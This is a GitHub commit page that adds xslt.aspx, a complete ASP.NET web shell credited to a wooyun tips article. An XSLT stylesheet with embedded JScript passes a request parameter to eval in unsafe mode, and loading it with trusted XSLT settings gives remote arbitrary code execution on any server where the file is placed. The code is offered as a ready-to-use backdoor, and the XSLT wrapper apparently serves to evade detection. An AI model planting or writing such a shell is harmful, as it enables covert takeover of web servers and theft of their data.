Skip to content

Commit 69d5a36

Browse files
committed
Create xslt.aspx
from : http://drops.wooyun.org/tips/5799
1 parent 43091bf commit 69d5a36

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed

Diff for: aspx/xslt.aspx

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<%@page language="C#"%>
2+
<%@ import Namespace="System.IO"%>
3+
<%@ import Namespace="System.Xml"%>
4+
<%@ import Namespace="System.Xml.Xsl"%>
5+
<%
6+
string xml=@"<?xml version=""1.0""?><root>test</root>";
7+
string xslt=@"<?xml version='1.0'?>
8+
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
9+
<msxsl:script language=""JScript"" implements-prefix=""zcg"">
10+
<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
11+
<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
12+
<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
13+
<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
14+
<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
15+
</msxsl:script>
16+
<xsl:template match=""/root"">
17+
<xsl:value-of select=""zcg:xml()""/>
18+
</xsl:template>
19+
</xsl:stylesheet>";
20+
XmlDocument xmldoc=new XmlDocument();
21+
xmldoc.LoadXml(xml);
22+
XmlDocument xsldoc=new XmlDocument();
23+
xsldoc.LoadXml(xslt);
24+
XslCompiledTransform xct=new XslCompiledTransform();
25+
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
26+
xct.Transform(xmldoc,null,new MemoryStream());
27+
28+
%>

0 commit comments

Comments
 (0)